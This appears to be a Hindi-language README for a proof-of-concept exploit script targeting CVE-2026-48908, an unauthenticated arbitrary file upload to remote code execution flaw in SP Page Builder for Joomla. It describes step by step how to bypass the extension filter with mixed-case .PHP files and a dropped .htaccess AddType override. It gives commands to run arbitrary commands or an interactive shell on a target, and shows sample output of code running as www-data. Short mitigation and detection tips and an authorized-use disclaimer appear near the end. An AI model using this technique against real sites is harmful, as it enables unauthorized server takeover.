
CVE-2026-48908 के लिए बिना प्रमाणीकरण वाला RCE PoC — Joomla के लिए SP Page Builder (≤ 6.6.1): asset.uploadCustomIcon के माध्यम से मनमाना फ़ाइल अपलोड। स्व-सफाई, टोकन-संरक्षित। केवल अधिकृत परीक्षण हेतु।
CVE-2026-48908 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Joomla के लिए JoomShaper द्वारा बनाए गए SP Page Builder घटक (com_sppagebuilder) में एक गंभीर (CVSS 4.0 = 10.0) बिना प्रमाणीकरण के रिमोट-कोड-निष्पादन (remote-code-execution) भेद्यता है।
| CVE | CVE-2026-48908 |
| कमज़ोरी | CWE-284 अनुचित एक्सेस नियंत्रण → बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड → RCE |
| घटक | Joomla के लिए SP Page Builder (com_sppagebuilder) |
| प्रभावित संस्करण | 1.0.0 – 6.6.1 |
| सुधार संस्करण | 6.6.2 |
| आवश्यक विशेषाधिकार | कोई नहीं (प्री-ऑथेंटिकेशन) |
| उपयोगकर्ता सहभागिता | कोई नहीं |
SP Page Builder कस्टम आइकन-फ़ॉन्ट पैकेज अपलोड करने के लिए कंट्रोलर टास्क asset.uploadCustomIcon उजागर करता है:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
प्रभावित संस्करणों में यह टास्क बिना प्रमाणीकरण और बिना मान्य एंटी-CSRF टोकन के पहुंच योग्य है। यह एक ZIP आर्काइव (मल्टीपार्ट फ़ील्ड custom_icon) स्वीकार करता है और इसकी सामग्री को दस्तावेज़ रूट के अंतर्गत एक सार्वजनिक रूप से वेब-सर्व किए जाने वाले निर्देशिका में निकालता है:
/media/com_sppagebuilder/assets/iconfont/<name>/ (including the fonts/ subfolder)
चूँकि अपलोड प्री-ऑथ (pre-auth) पहुंच योग्य है और निकाली गई फ़ाइलें वेब रूट में आ जाती हैं, एक हमलावर हमलावर-नियंत्रित फ़ाइलों को एक ब्राउज़ करने योग्य स्थान पर लिख सकता है और उन्हें HTTP के माध्यम से एक्सेस कर सकता है।
कुछ बिल्ड आर्काइव प्रविष्टियों पर सर्वर-साइड फ़ाइलनाम फ़िल्टर जोड़ते हैं। यह PoC एक सामान्य कार्यान्वयन को तीन-चरणीय श्रृंखला के साथ विफल कर देता है:
.php, .phtml, .phar, .php3–.php8, .pht, .inc, … को अस्वीकार करता है, लेकिन यह केस को सामान्य (normalise) नहीं करता, इसलिए .PHP (और अन्य मिश्रित-केस वेरिएंट) और .htaccess पास हो जाते हैं।<FilesMatch "\.php$">) केवल लोअरकेस .php को निष्पादित करता है, इसलिए अपलोड किया गया .PHP शुरू में सोर्स टेक्स्ट के रूप में सर्व किया जाता है, चलाया नहीं जाता।.htaccess ओवरराइड। एक .htaccess (जिसे ब्लॉकलिस्ट भी नहीं पकड़ पाती) जिसमें AddType application/x-httpd-php .PHP होता है, पेलोड के साथ ड्रॉप किया जाता है। जहाँ AllowOverride इसकी अनुमति देता है, यह .PHP को PHP के रूप में पंजीकृत करता है और अपलोड किया गया शेल निष्पादित हो जाता है।PoC हमेशा एक मान्य आइकन-फ़ॉन्ट संरचना (selection.json, style.css, fonts/<name>.ttf) पैकेज करता है ताकि अपलोड स्वीकार हो जाए, फिर शेल जोड़ता है।
अनुकूली (Adaptive) — यह php-निष्पादन योग्य एक्सटेंशन की एक सूची (सबसे कम फुटप्रिंट पहले) पर चलता है, फिर एक .htaccess फॉलबैक, और पहले ऐसे तरीके पर रुकता है जो वास्तव में कोड चलाता है:
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php में से प्रत्येक के लिए fonts/<shell>.<ext>। कोई .htaccess नहीं।
अलग-अलग SP Page Builder फ़िल्टर अलग-अलग सेट को ब्लॉक करते हैं, और अलग-अलग Apache कॉन्फ़िग अलग-अलग एक्सटेंशन निष्पादित करते हैं — इसलिए यह वह संयोजन ढूँढ लेता है जिसकी टारगेट अनुमति देता है और जो चलता है।fonts/.htaccess + fonts/<shell>.PHP (फॉलबैक) — केवल तभी जब हर डायरेक्ट प्रयास विफल हो जाए। ड्रॉप किया गया .htaccess (AddType … .PHP) एक अपरकेस .PHP को वहाँ निष्पादित करने के लिए बाध्य करता है जहाँ AllowOverride अनुमति देता है (5.4.6-शैली वाले होस्ट्स को यही चाहिए)।यह पहले ऐसे तरीके पर रुकता है जो निष्पादित होता है और प्रिंट करता है कि कौन-सा सफल रहा। हर स्वीकृत अपलोड ट्रैक किया जाता है, इसलिए --cleanup उन सभी को हटा देता है (कई प्रयास केवल-लिखने योग्य निर्देशिकाएँ छोड़ सकते हैं)।
संस्करण और सर्वर हार्डनिंग के आधार पर परिणाम बदलता है, और PoC इसे स्पष्ट रूप से बताता है (नीचे परिणाम देखें): पूर्ण RCE, केवल-फ़ाइल-लेखन (PHP अक्षम /
AllowOverride None), पैच किया हुआ (केवल-एडमिन), या भेद्य नहीं।
pip install -r requirements.txt # requests
# confirm the vulnerability and prove code execution (runs `id`)
python3 sppb_rce.py https://target.example
# run a specific command
python3 sppb_rce.py --url target.example -c "uname -a"
# interactive pseudo-shell
python3 sppb_rce.py https://target.example --shell
# only check; run no command
python3 sppb_rce.py https://target.example --check
# remove the uploaded payload directory afterwards
python3 sppb_rce.py https://target.example --cleanup
टारगेट को पोज़िशनल आर्ग्युमेंट के रूप में या --url के माध्यम से, स्कीम के साथ या बिना स्कीम के दिया जा सकता है।
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
PoC आपको टारगेट के लिए हमेशा फ़ैसला बताता है:
| आउटपुट | अर्थ | एग्ज़िट |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | भेद्य — पूर्ण बिना-प्रमाणीकरण RCE | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | केवल-फ़ाइल-लेखन (AllowOverride None / /media में PHP अक्षम) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | पैच किया हुआ — अपलोड के लिए अब एडमिन प्रमाणीकरण आवश्यक है | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | शोषण योग्य नहीं / घटक उपस्थित नहीं | 2 |
404 लौटाता है — यह दुनिया के लिए खुला बैकडोर नहीं है।--cleanup उस पेलोड निर्देशिका को हटा देता है जो उसने बनाई है।id, एक अंकगणितीय मार्कर)।/media/, /images/, /tmp) में PHP निष्पादन को FPM पूल या php_admin_flag engine off के माध्यम से अक्षम करें।AllowOverride None सेट करें ताकि ड्रॉप किया गया .htaccess हैंडलर को पुनः सक्षम न कर सके।media/.../iconfont/ के अंतर्गत अप्रत्याशित .php/.PHP, नए Super User खाते, और लगाए गए फ़ाइल मैनेजर की तलाश करें।Joomla SP Page Builder एक्सप्लॉइट · com_sppagebuilder बिना प्रमाणीकरण RCE · CVE-2026-48908 PoC · asset.uploadCustomIcon मनमाना फ़ाइल अपलोड · Joomla रिमोट कोड निष्पादन · पेंटेस्ट एक्सप्लॉइट स्क्रिप्ट।
यह सॉफ़्टवेयर केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रकाशित किया गया है — जैसे कि पेनेट्रेशन टेस्ट जिन्हें करने की आपके पास लिखित अनुमति है, बग-बाउंटी प्रोग्राम जिनमें टारगेट दायरे में शामिल है, CTF प्रतियोगिताएँ, और आपके अपने लैब सिस्टम।
बिना अधिकार के कंप्यूटर सिस्टम तक पहुँचना, उन्हें संशोधित करना या बाधित करना अधिकांश क्षेत्राधिकारों में अवैध है। आप अपने कार्यों के लिए पूर्णतया और पूरी तरह स्वयं ज़िम्मेदार हैं। इस कोड का उपयोग, डाउनलोड या वितरण करके आप निम्न बातों से सहमत होते हैं:
यदि आप इन शर्तों से सहमत नहीं हैं, तो इस सॉफ़्टवेयर का उपयोग न करें। किसी भी सार्वजनिक रूप से उपलब्ध एक्सप्लॉइट/PoC की तरह, इसे सद्भावना से साझा किया गया है ताकि डिफेंडर भेद्यता का पता लगा सकें, समझ सकें और उसे ठीक कर सकें; आप इसका क्या करते हैं, यह आपकी ज़िम्मेदारी है।
MIT — LICENSE देखें।